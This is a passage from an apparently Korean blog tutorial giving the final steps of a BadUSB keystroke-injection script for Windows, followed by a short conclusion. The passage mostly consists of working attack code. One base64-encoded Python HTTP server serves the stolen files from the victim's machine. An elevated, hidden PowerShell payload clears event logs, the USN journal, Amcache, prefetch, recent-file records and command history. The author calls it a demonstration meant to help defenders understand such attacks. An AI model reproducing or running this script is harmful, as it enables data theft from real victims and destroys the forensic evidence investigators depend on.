DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\903f046b.zip') -and (Get-Item -LiteralPath $env:TEMP+'\903f046b.zip').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

최근 파일들을 수집하는 파이썬 스크립트를 송신해 실행합니다.

12. Pull Exfill

STRING $env:BADUSB_HTTP_CLEANUP=$env:TEMP+'\01ca2573'+';'+$env:TEMP+'\9e783ec9'+';'+$env:TEMP+'\4fe06424'+';'+$env:TEMP+'\2119d668'+';'+$env:TEMP+'\db7539be.zip'+';'+$env:TEMP+'\79889223.zip'+';'+$env:TEMP+'\903f046b.zip'+';'+$env:TEMP+'\1e56cbf6.py'
ENTER
STRING $env:BADUSB_HTTP_FILE=$env:TEMP+'\01ca2573'+';'+$env:TEMP+'\9e783ec9'+';'+$env:TEMP+'\4fe06424'+';'+$env:TEMP+'\2119d668'+';'+$env:TEMP+'\db7539be.zip'+';'+$env:TEMP+'\79889223.zip'+';'+$env:TEMP+'\903f046b.zip'
ENTER
STRING $env:BADUSB_HTTP_PORT='8080'
ENTER
STRING $env:BADUSB_HTTP_TIMEOUT='600'
ENTER
STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzeXMKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgdGltZQpmcm9tIGh0dHAuc2VydmVyIGltcG9ydCBCYXNlSFRUUFJlcXVlc3RIYW5
DELAY 20
STRING kbGVyLCBUaHJlYWRpbmdIVFRQU2VydmVyCgpQT1JUID0gaW50KG9zLmVudmlyb24uZ2V0KCJCQURVU0JfSFRUUF9QT1JUIiwgIjgwODAiKSkKVElNRU9VVCA9IGludCh
DELAY 20
STRING vcy5lbnZpcm9uLmdldCgiQkFEVVNCX0hUVFBfVElNRU9VVCIsICI2MDAiKSkKCgpkZWYgZXhwYW5kKHApOgogICAgcmV0dXJuIG9zLnBhdGguYWJzcGF0aChvcy5wYXR
DELAY 20
STRING oLmV4cGFuZHZhcnMob3MucGF0aC5leHBhbmR1c2VyKHApKSkKCgpkZWYgbG9hZF9maWxlcygpOgogICAgcmF3ID0gb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9IVFRQX0Z
DELAY 20
STRING JTEUiLCAiIikKICAgIHBhdGhzID0gW2V4cGFuZChwLnN0cmlwKCkpIGZvciBwIGluIHJhdy5zcGxpdCgiOyIpIGlmIHAuc3RyaXAoKV0KICAgIHJldHVybiBbKG9zLnB
DELAY 20
STRING hdGguYmFzZW5hbWUocCksIHApIGZvciBwIGluIHBhdGhzXQoKCmNsYXNzIFJvdGF0b3I6CiAgICBkZWYgX19pbml0X18oc2VsZiwgaXRlbXMpOgogICAgICAgIHNlbGY
DELAY 20
STRING uaXRlbXMgPSBpdGVtcwogICAgICAgIHNlbGYuaWR4ID0gMAogICAgICAgIHNlbGYubG9jayA9IHRocmVhZGluZy5Mb2NrKCkKCiAgICBkZWYgbmV4dChzZWxmKToKICA
DELAY 20
STRING gICAgICB3aXRoIHNlbGYubG9jazoKICAgICAgICAgICAgaWYgbm90IHNlbGYuaXRlbXM6CiAgICAgICAgICAgICAgICByZXR1cm4gTm9uZQogICAgICAgICAgICBpZiB
DELAY 20
STRING sZW4oc2VsZi5pdGVtcykgPT0gMToKICAgICAgICAgICAgICAgIHJldHVybiBzZWxmLml0ZW1zWzBdCiAgICAgICAgICAgIGlmIHNlbGYuaWR4ID49IGxlbihzZWxmLml
DELAY 20
STRING 0ZW1zKToKICAgICAgICAgICAgICAgIHNlbGYuaWR4ID0gMAogICAg'
ENTER
DELAY 50
STRING $b+='ICAgICAgICBpdGVtID0gc2VsZi5pdGVtc1tzZWxmLmlkeF0KICAgICAgICAgICAgc2VsZi5pZHggKz0gMQogICAgICAgICAgICByZXR1cm4gaXRlbQoKCmRlZiB
DELAY 20
STRING tYWtlX2hhbmRsZXIocm90KToKICAgIGNsYXNzIEhhbmRsZXIoQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICAgICAgZGVmIGRvX0dFVChzZWxmKToKICAgICAgICA
DELAY 20
STRING gICAgaXRlbSA9IHJvdC5uZXh0KCkKICAgICAgICAgICAgaWYgbm90IGl0ZW06CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfZXJyb3IoNDA0KQogICAgICAgICAgICA
DELAY 20
STRING gICAgcmV0dXJuCiAgICAgICAgICAgIG5hbWUsIHBhdGggPSBpdGVtCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwYXRoLCAicmIiKSB
DELAY 20
STRING hcyBmOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgICAgIHNlbGYuc2VuZF9
DELAY 20
STRING lcnJvcig0MDQpCiAgICAgICAgICAgICAgICByZXR1cm4KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWR
DELAY 20
STRING lcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpCiAgICAgICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb24
DELAY 20
STRING iLCBmJ2F0dGFjaG1lbnQ7IGZpbGVuYW1lPSJ7bmFtZX0iJykKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1MZW5ndGgiLCBzdHIobGVuKGRhdGE
DELAY 20
STRING pKSkKICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgIHNlbGYud2ZpbGUud3JpdGUoZGF0YSkKCiAgICAgICAgZGVmIGxvZ19tZXNzYWdlKHN
DELAY 20
STRING lbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgICAgICBwYXNzCgogICAg'
ENTER
DELAY 50
STRING $b+='cmV0dXJuIEhhbmRsZXIKCgpkZWYgY2xlYW51cCgpOgogICAgZm9yIHAgaW4gb3MuZW52aXJvbi5nZXQoIkJBRFVTQl9IVFRQX0NMRUFOVVAiLCAiIikuc3BsaXQ
DELAY 20
STRING oIjsiKToKICAgICAgICBwID0gZXhwYW5kKHAuc3RyaXAoKSkKICAgICAgICBpZiBub3QgcDoKICAgICAgICAgICAgY29udGludWUKICAgICAgICB0cnk6CiAgICAgICA
DELAY 20
STRING gICAgIG9zLnJlbW92ZShwKQogICAgICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICBzZCA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfU0VMRl9
DELAY 20
STRING ERUxFVEUiLCAiMSIpLmxvd2VyKCkKICAgIGlmIHNkIGluICgiMCIsICJuIiwgIm5vIiwgImZhbHNlIik6CiAgICAgICAgcmV0dXJuCiAgICB0cnk6CiAgICAgICAgb3M
DELAY 20
STRING ucmVtb3ZlKG9zLnBhdGguYWJzcGF0aChzeXMuYXJndlswXSkpCiAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICBwYXNzCgoKZGVmIG1haW4oKToKICAgIGl0ZW1zID0
DELAY 20
STRING gbG9hZF9maWxlcygpCiAgICBpZiBub3QgaXRlbXM6CiAgICAgICAgc3lzLmV4aXQoMSkKICAgIGZvciBfLCBwIGluIGl0ZW1zOgogICAgICAgIGlmIG5vdCBvcy5wYXR
DELAY 20
STRING oLmlzZmlsZShwKToKICAgICAgICAgICAgc3lzLmV4aXQoMSkKCiAgICByb3QgPSBSb3RhdG9yKGl0ZW1zKQogICAgc3J2ID0gVGhyZWFkaW5nSFRUUFNlcnZlcigoIjA
DELAY 20
STRING uMC4wLjAiLCBQT1JUKSwgbWFrZV9oYW5kbGVyKHJvdCkpCgogICAgZGVmIHdhdGNoZG9nKCk6CiAgICAgICAgaWYgVElNRU9VVCA+IDA6CiAgICAgICAgICAgIHRpbWU
DELAY 20
STRING uc2xlZXAoVElNRU9VVCkKICAgICAgICAgICAgc3J2LnNodXRkb3duKCkKCiAgICB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD13YXRjaGRvZywgZGFlbW9uPVRydWUpLnN
DELAY 20
STRING 0YXJ0KCkKICAgIHRyeToKICAgICAgICBzcnYuc2VydmVfZm9yZXZl'
ENTER
DELAY 50
STRING $b+='cigpCiAgICBmaW5hbGx5OgogICAgICAgIHNydi5zZXJ2ZXJfY2xvc2UoKQogICAgICAgIGNsZWFudXAoKQoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\1e56cbf6.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\1e56cbf6.py') -WindowStyle Hidden -PassThru

수집한 정보들을 다운로드 하기 위한 HTTP 서버를 base64 인코딩된 파이썬 스크립트로 받아 8080 포트에 10분간 엽니다.

13. Anti Forensics Process

STRING $env:BADUSB_PULL_PID=$p.Id
ENTER
DELAY 30
STRING $b=''
ENTER
STRING $b+='V2FpdC1Qcm9jZXNzIC1JZCAoW2ludF0kZW52OkJBRFVTQl9QVUxMX1BJRCkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKU3RhcnQtU2xlZXAgLU1pbGx
DELAY 20
STRING pc2Vjb25kcyAxMDAwCndldnR1dGlsIGNsICJBcHBsaWNhdGlvbiIKd2V2dHV0aWwgY2wgIlN5c3RlbSIKd2V2dHV0aWwgY2wgIlNlY3VyaXR5Igp3ZXZ0dXRpbCBjbCA
DELAY 20
STRING iV2luZG93cyBQb3dlclNoZWxsIgp3ZXZ0dXRpbCBjbCAiTWljcm9zb2Z0LVdpbmRvd3MtUG93ZXJTaGVsbC9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29
DELAY 20
STRING mdC1XaW5kb3dzLVN5c21vbi9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29mdC1XaW5kb3dzLVRlcm1pbmFsU2VydmljZXMtTG9jYWxTZXNzaW9uTWFuYWd
DELAY 20
STRING lci9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29mdC1XaW5kb3dzLVRhc2tTY2hlZHVsZXIvT3BlcmF0aW9uYWwiCndldnR1dGlsIGNsICJNaWNyb3NvZnQ
DELAY 20
STRING tV2luZG93cy1XTUktQWN0aXZpdHkvT3BlcmF0aW9uYWwiClJlbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpXSU5ESVJ
DELAY 20
STRING cUHJlZmV0Y2hcKi5wZiIKcmVnIGRlbGV0ZSAiSEtMTVxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiIC92IEFwcENvbXBhdEN
DELAY 20
STRING hY2hlIC9mIDI+JG51bGwKbmV0IHN0b3AgSW52ZW50b3J5U3ZjIDI+JG51bGwKbmV0IHN0b3AgUGNhU3ZjIDI+JG51bGwKUmVtb3ZlLUl0ZW0gLUZvcmNlIC1FcnJvckF
DELAY 20
STRING jdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OldJTkRJUlxBcHBDb21wYXRcUHJvZ3JhbXNcQW1jYWNoZS5odmUiClJlbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3R
DELAY 20
STRING pb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpXSU5ESVJcQXBwQ29t'
ENTER
DELAY 50
STRING $b+='cGF0XFByb2dyYW1zXEFtY2FjaGUuaHZlLioiCmZzdXRpbCB1c24gZGVsZXRlam91cm5hbCAvRCBDOgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFN
DELAY 20
STRING pbGVudGx5Q29udGludWUgIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xSZWNlbnRcKi4qIgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGV
DELAY 20
STRING udGx5Q29udGludWUgIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xSZWNlbnRcQXV0b21hdGljRGVzdGluYXRpb25zXCouKiIKUmVtb3ZlLUl0ZW0gLUZvcmN
DELAY 20
STRING lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUmVjZW50XEN1c3RvbURlc3RpbmF0aW9uc1wqLioiClJ
DELAY 20
STRING lbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpMT0NBTEFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcRXhwbG9yZXJcdGh
DELAY 20
STRING 1bWJjYWNoZV8qLmRiIgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKEdldC1QU1JlYWRMaW5lT3B0aW9uKS5IaXN0b3J5U2F
DELAY 20
STRING 2ZVBhdGgKUmVtb3ZlLUl0ZW0gLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OlRFTVBcKi4qIgpHZXQtQ2hpbGRJdGVtICRlbnY6VEVNUCA
DELAY 20
STRING tRGlyZWN0b3J5IHwgUmVtb3ZlLUl0ZW0gLVJlY3Vyc2UgLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVl'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\abd533cd.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING Start-Process powershell -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile','-WindowStyle','Hidden','-File',$env:TEMP+'\abd533cd.py'

HTTP 서버가 종료되기를 기다리는 watcher를 띄우고, 종료될 경우 wevtutil cl로 이벤트 로그를 삭제한 뒤 프로그램 실행 / 파일 변경 기록을 제거하고 Amcache 서비스를 중지합니다. 그리고 마지막으로 PS 명령 기록과 %TEMP%의 모든 파일까지 지워 흔적을 최대한 없앱니다.

결론

이론적으로 이 모든 과정은 1분 안에 끝납니다. 또한 이 스크립트는 단순한 시연용 스크립트에 불과하며, 비교적 비파괴적이거나 일반적인 방법을 선택했습니다. base64 인코딩이 아닌 다른 인코딩/암호화가 사용될 수도 있고, 파이썬 스크립트가 아닌 바이너리나 c 파일을 보내 원격 컴파일할 수도 있으며, 파이썬 설치에는 winget 말고도 다양한 방법들이 있습니다.

필자가 이러한 기법들을 찾아보며 생각한 것은, ‘이런 걸 몰라서는 안 됐다’였습니다. 필자는 보안에 나름 신경을 쓰고 있지만, 단순히 ‘보안에 관심이 있다’로는 실제 기법을 알고 보안을 점검하는 것에 비해 몇몇 부분에서 분명히 뒤떨어질수밖에 없다고 느꼈습니다. 외부의 공격으로부터 시스템을 보호하기 위한 사람은 역설적으로 공격에 대한 이해가 있어야만 합니다.